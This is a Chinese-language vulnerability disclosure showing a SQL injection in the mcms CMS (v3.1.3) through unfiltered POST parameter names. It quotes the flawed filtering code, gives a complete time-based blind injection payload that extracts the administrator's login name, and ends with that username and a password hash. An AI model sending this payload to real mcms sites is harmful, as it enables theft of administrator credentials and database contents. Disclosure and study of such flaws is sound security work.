### 简要描述:
mcms最新版SQL注入二枚打包(可出任意数据)
### 详细说明:
前段时间在wooyun提交了几个mcms的漏洞,以前mcms的版本是v_3.1.1.enterprise, [WooYun: mcms最新版SQL注入三枚打包(可出任意数据)](http://www.wooyun.org/bugs/wooyun-2015-096707) ,现在都升级到v_3.1.3.enterprise了,还是来研究一下mcms(v_3.1.3.enterprise)吧。
注入一枚:POST /app/public/info.list.php?m=save&ajax=1(注意public文件夹是安装系统时取的名字)post中有本个参数,虽然都经过了xss和sql的过滤,但是过滤的并不完全,我们看看是如何注入的。
有两个注入点,一个是info_id,一个是price,这里以info_id为例进行说明
```
function m__save(){
global $dbm,$C,$V;
/*
foreach($_POST as $k=>$v){
echo('$fields[\''.$k.'\']=isset($_POST[\''.$k.'\'])?trim($_POST[\''.$k.'\']):\'\';
');
}
die();
*/
$_POST=H::sqlxss($_POST);//print_r($_POST);
//处理附件参数
$attach=array();
$oname=array();
$order=array();
$model_fields=array();
foreach($_POST as $k=>$v){
if(substr($k,0,9)=='attach___'){
$attach[$v]=$v;
$oname[$v]=($_POST['oname___'.$v]==''?'':$_POST['oname___'.$v]);
$order[$v]=($_POST['order___'.$v]==''?'':$_POST['order___'.$v]);
}
if (substr($k,0,9)=='extern___') { // 填充扩展表字段
$model_fields[substr($k,9)] = $v;
}
```
Post的内容经过了过滤,去看看sqlxss()是怎么实现的
```
public static function sqlxss($input){
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::sqlxss($v);
}
}else{
$input=H::escape($input,1);
$input=htmlspecialchars($input,ENT_QUOTES);
}
return $input;
}
```
对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape
```
public static function escape($input, $urldecode = 0) {
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::escape($v,$urldecode);
}
}else{
$input=trim($input);
if ($urldecode == 1) {
$input=str_replace(array('+'),array('{addplus}'),$input);
$input = urldecode($input);
$input=str_replace(array('{addplus}'),array('+'),$input);
}
// PHP版本大于5.4.0,直接转义字符
if (strnatcasecmp(PHP_VERSION, '5.4.0') >= 0) {
$input = addslashes($input);
} else {
// 魔法转义没开启,自动加反斜杠
if (!get_magic_quotes_gpc()) {
$input = addslashes($input);
}
}
}
//防止最后一个反斜杠引起SQL错误如 'abc\'
if(substr($input,-1,1)=='\\') $input=$input."'";//$input=substr($input,0,strlen($input)-1);
return $input;
}
```
对用户的输入过滤的还是很彻底的,但是这里忽略了一点,那就是没有对KEY进行过滤,造成了注入。
Payload:POST提交
```
extern___info_id`)values(''/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))or'')#=test&info_id=37&cate_id=5&model_name=product&extern___price=123&info_title=asd&fcolor=&fbold=0&info_stitle=&seo_title=&info_img=&go_url=&info_tags=&info_from=&info_body=asdfas&info_desc=asdfas&level=
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图
[<img src="https://images.seebug.org/upload/201504/012356438085b026f2de4626c68dbb5efdfc86b7.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/012356438085b026f2de4626c68dbb5efdfc86b7.jpg)
若正确,延迟3s左右,如下图
[<img src="https://images.seebug.org/upload/201504/012357017ecec884f2ee153b0e1e94c99635bf22.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/012357017ecec884f2ee153b0e1e94c99635bf22.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论